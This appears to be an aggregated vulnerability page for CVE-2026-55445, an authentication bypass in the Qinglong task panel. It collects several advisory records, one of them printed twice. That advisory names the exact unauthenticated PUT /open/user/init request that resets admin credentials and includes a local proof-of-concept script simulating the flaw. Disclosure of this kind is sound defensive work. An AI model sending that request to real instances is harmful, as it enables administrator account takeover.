CVE-2026-55445
Qinglong: Incomplete fix for CVE-2026-3965: Improper Authentication
Qinglong is a timed task management platform supporting Python3, JavaScript, Shell, and Typescript. Prior to 2.20.1, the init guard middleware in back/loaders/express.ts checks /api/user/init but not /open/user/init, while rewrite('/open/', '/api/$1') rewrites the whitelisted /open/ path after JWT authentication and the guard have passed; an unauthenticated attacker can send PUT /open/user/init to reset administrator credentials on an initialized instance. This issue is fixed in 2.20.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
9.3
Qinglong: Incomplete fix for CVE-2026-3965: Improper Authentication
Qinglong is a timed task management platform supporting Python3, JavaScript, Shell, and Typescript. Prior to 2.20.1, the init guard middleware in back/loaders/express.ts checks /api/user/init but not /open/user/init, while rewrite('/open/', '/api/$1') rewrites the whitelisted /open/ path after JWT authentication and the guard have passed; an unauthenticated attacker can send PUT /open/user/init to reset administrator credentials on an initialized instance. This issue is fixed in 2.20.1.
- Record
CVE-2026-55445- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-287
- Updated
- 2026-11-02
EUVDEUVD-2026-44820
9.3
Qinglong is a timed task management platform supporting Python3, JavaScript, Shell, and Typescript. Prior to 2.20.1, the init guard middleware in back/loaders/express.ts checks /api/user/init but not /open/user/init, while rewrite('/open/', '/api/$1') rewrites the whitelisted /open/ path after JWT authentication and the guard have passed; an unauthenticated attacker can send PUT /open/user/init to reset administrator credentials on an initialized instance. This issue is fixed in 2.20.1.
- Record
EUVD-2026-44820- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-v667-gc2r-2xm7
9.3
Qinglong has an incomplete fix for CVE-2026-3965: Improper Authentication
Summary
The init guard middleware in Qinglong only checks /api/user/init paths but not /open/user/init, which is whitelisted from JWT authentication and rewritten to /api/user/init after the guard has already passed, allowing unauthenticated admin credential reset on initialized instances.
Affected Package
- Ecosystem: npm
- Package: whyour/qinglong
- Affected versions: < 6bec52dca158
- Patched versions: >= 6bec52dca158
Severity
Medium
CWE
CWE-287 — Improper Authentication
Details
The Qinglong panel has an initialization endpoint (/api/user/init) that allows setting admin credentials. Once the system is initialized, an init guard middleware is supposed to block further calls. The middleware in back/loaders/express.ts only checks:
!['/api/user/init', '/api/user/notification/init'].includes(pathLower)
However, the application also has a URL rewrite rule: rewrite('/open/*', '/api/$1'). The /open/* paths are whitelisted from JWT authentication.
The middleware ordering creates the bypass: first, JWT auth sees /open/* paths match the whitelist regex and skips authentication. Second, the init guard only checks for /api/user/init -- /open/user/init passes through as "not an init path". Third, the URL rewrite transforms /open/user/init to /api/user/init after the guard has already passed.
This means an unauthenticated attacker can send PUT /open/user/init with new credentials to reset the admin account on any Qinglong panel instance, gaining full administrative access.
PoC
/**
* CVE-2026-3965 - Qinglong Panel /open/user/init Auth Bypass
*
* The init guard middleware only checks /api/user/init paths.
* But /open/user/init is whitelisted from JWT auth and rewritten
* to /api/user/init via express-urlrewrite AFTER the guard.
*/
"use strict";
// Simulate the init guard middleware exactly as in the source
function initGuardMiddleware(reqPath, authInfo) {
const pathLower = reqPath.toLowerCase();
// Exact check from the vulnerable source
if (!['/api/user/init', '/api/user/notification/init'].includes(pathLower)) {
return { action: "next" }; // passes through
}
let isInitialized = true;
if (
Object.keys(authInfo).length === 2 &&
authInfo.username === 'admin' &&
authInfo.password === 'admin'
) {
isInitialized = false;
}
if (isInitialized) {
return { action: "block", code: 450, message: "Error" };
} else {
return { action: "next" };
}
}
const authInfo = { username: "realAdmin", password: "str0ngP@ss!" };
console.log("System state: initialized (non-default credentials)");
// Test 1: Direct /api/user/init is blocked
const test1 = initGuardMiddleware("/api/user/init", authInfo);
console.log("\n[Test 1] PUT /api/user/init:");
console.log(" Guard result:", test1.action);
console.log(" Blocked:", test1.action === "block");
// Test 2: /open/user/init BYPASSES init guard
const test2 = initGuardMiddleware("/open/user/init", authInfo);
console.log("\n[Test 2] PUT /open/user/init:");
console.log(" Guard result:", test2.action);
console.log(" Bypassed guard:", test2.action === "next");
if (test2.action === "next") {
const rewrittenPath = "/open/user/init".replace(/^\/open\//, "/api/");
console.log(" After rewrite:", rewrittenPath);
console.log(" Reaches init handler: true");
}
if (test1.action === "block" && test2.action === "next") {
console.log("\nVULNERABILITY CONFIRMED: /open/user/init bypasses the init guard");
console.log("An attacker can reset admin credentials on an initialized instance.");
process.exit(0);
} else {
console.log("\nVULNERABILITY NOT CONFIRMED");
process.exit(1);
}
Steps to reproduce:
git clone https://github.com/whyour/qinglong /tmp/qinglong_testcd /tmp/qinglong_test && git checkout 6bec52dc~1node poc.js
Expected output:
VULNERABILITY CONFIRMED
/open/user/init bypasses the init guard; the guard only…
- Record
GHSA-v667-gc2r-2xm7- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-287
- Updated
- 2026-11-02
NVD
9.3
Qinglong is a timed task management platform supporting Python3, JavaScript, Shell, and Typescript. Prior to 2.20.1, the init guard middleware in back/loaders/express.ts checks /api/user/init but not /open/user/init, while rewrite('/open/', '/api/$1') rewrites the whitelisted /open/ path after JWT authentication and the guard have passed; an unauthenticated attacker can send PUT /open/user/init to reset administrator credentials on an initialized instance. This issue is fixed in 2.20.1.
- Record
CVE-2026-55445- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-287
- Updated
- 2026-11-02
OSV
9.3
Qinglong: Incomplete fix for CVE-2026-3965: Improper Authentication
Qinglong is a timed task management platform supporting Python3, JavaScript, Shell, and Typescript. Prior to 2.20.1, the init guard middleware in back/loaders/express.ts checks /api/user/init but not /open/user/init, while rewrite('/open/', '/api/$1') rewrites the whitelisted /open/ path after JWT authentication and the guard have passed; an unauthenticated attacker can send PUT /open/user/init to reset administrator credentials on an initialized instance. This issue is fixed in 2.20.1.
- Record
CVE-2026-55445- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-287
- Updated
- 2026-11-02
OSVGHSA-v667-gc2r-2xm7
9.3
Qinglong has an incomplete fix for CVE-2026-3965: Improper Authentication
Summary
The init guard middleware in Qinglong only checks /api/user/init paths but not /open/user/init, which is whitelisted from JWT authentication and rewritten to /api/user/init after the guard has already passed, allowing unauthenticated admin credential reset on initialized instances.
Affected Package
- Ecosystem: npm
- Package: whyour/qinglong
- Affected versions: < 6bec52dca158
- Patched versions: >= 6bec52dca158
Severity
Medium
CWE
CWE-287 — Improper Authentication
Details
The Qinglong panel has an initialization endpoint (/api/user/init) that allows setting admin credentials. Once the system is initialized, an init guard middleware is supposed to block further calls. The middleware in back/loaders/express.ts only checks:
!['/api/user/init', '/api/user/notification/init'].includes(pathLower)
However, the application also has a URL rewrite rule: rewrite('/open/*', '/api/$1'). The /open/* paths are whitelisted from JWT authentication.
The middleware ordering creates the bypass: first, JWT auth sees /open/* paths match the whitelist regex and skips authentication. Second, the init guard only checks for /api/user/init -- /open/user/init passes through as "not an init path". Third, the URL rewrite transforms /open/user/init to /api/user/init after the guard has already passed.
This means an unauthenticated attacker can send PUT /open/user/init with new credentials to reset the admin account on any Qinglong panel instance, gaining full administrative access.
PoC
/**
* CVE-2026-3965 - Qinglong Panel /open/user/init Auth Bypass
*
* The init guard middleware only checks /api/user/init paths.
* But /open/user/init is whitelisted from JWT auth and rewritten
* to /api/user/init via express-urlrewrite AFTER the guard.
*/
"use strict";
// Simulate the init guard middleware exactly as in the source
function initGuardMiddleware(reqPath, authInfo) {
const pathLower = reqPath.toLowerCase();
// Exact check from the vulnerable source
if (!['/api/user/init', '/api/user/notification/init'].includes(pathLower)) {
return { action: "next" }; // passes through
}
let isInitialized = true;
if (
Object.keys(authInfo).length === 2 &&
authInfo.username === 'admin' &&
authInfo.password === 'admin'
) {
isInitialized = false;
}
if (isInitialized) {
return { action: "block", code: 450, message: "Error" };
} else {
return { action: "next" };
}
}
const authInfo = { username: "realAdmin", password: "str0ngP@ss!" };
console.log("System state: initialized (non-default credentials)");
// Test 1: Direct /api/user/init is blocked
const test1 = initGuardMiddleware("/api/user/init", authInfo);
console.log("\n[Test 1] PUT /api/user/init:");
console.log(" Guard result:", test1.action);
console.log(" Blocked:", test1.action === "block");
// Test 2: /open/user/init BYPASSES init guard
const test2 = initGuardMiddleware("/open/user/init", authInfo);
console.log("\n[Test 2] PUT /open/user/init:");
console.log(" Guard result:", test2.action);
console.log(" Bypassed guard:", test2.action === "next");
if (test2.action === "next") {
const rewrittenPath = "/open/user/init".replace(/^\/open\//, "/api/");
console.log(" After rewrite:", rewrittenPath);
console.log(" Reaches init handler: true");
}
if (test1.action === "block" && test2.action === "next") {
console.log("\nVULNERABILITY CONFIRMED: /open/user/init bypasses the init guard");
console.log("An attacker can reset admin credentials on an initialized instance.");
process.exit(0);
} else {
console.log("\nVULNERABILITY NOT CONFIRMED");
process.exit(1);
}
Steps to reproduce:
git clone https://github.com/whyour/qinglong /tmp/qinglong_testcd /tmp/qinglong_test && git checkout 6bec52dc~1node poc.js
Expected output:
VULNERABILITY CONFIRMED
/open/user/init bypasses the init guard; the guard only…
- Record
GHSA-v667-gc2r-2xm7- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-287
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@whyour/qinglongnpm |
before 2.20.1 | 2.20.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55445 is a critical vulnerability (CVSS 9.3) in Whyour Qinglong, published July 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.53%, the 44th percentile. Fixed in @whyour/qinglong 2.20.1.
References
github.com/whyour/qinglong/security/advisories/GHSA-v667-gc2r-2xm7
github.com/whyour/qinglong/pull/2941
github.com/whyour/qinglong/commit/6bec52dca158481258315ba0fc2f11206df7b719
nvd.nist.gov/vuln/detail/CVE-2026-55445
github.com/advisories/GHSA-v667-gc2r-2xm7
github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55445.json
github.com/whyour/qinglong
Left out here: the rest of 2 source descriptions. The JSON record has them.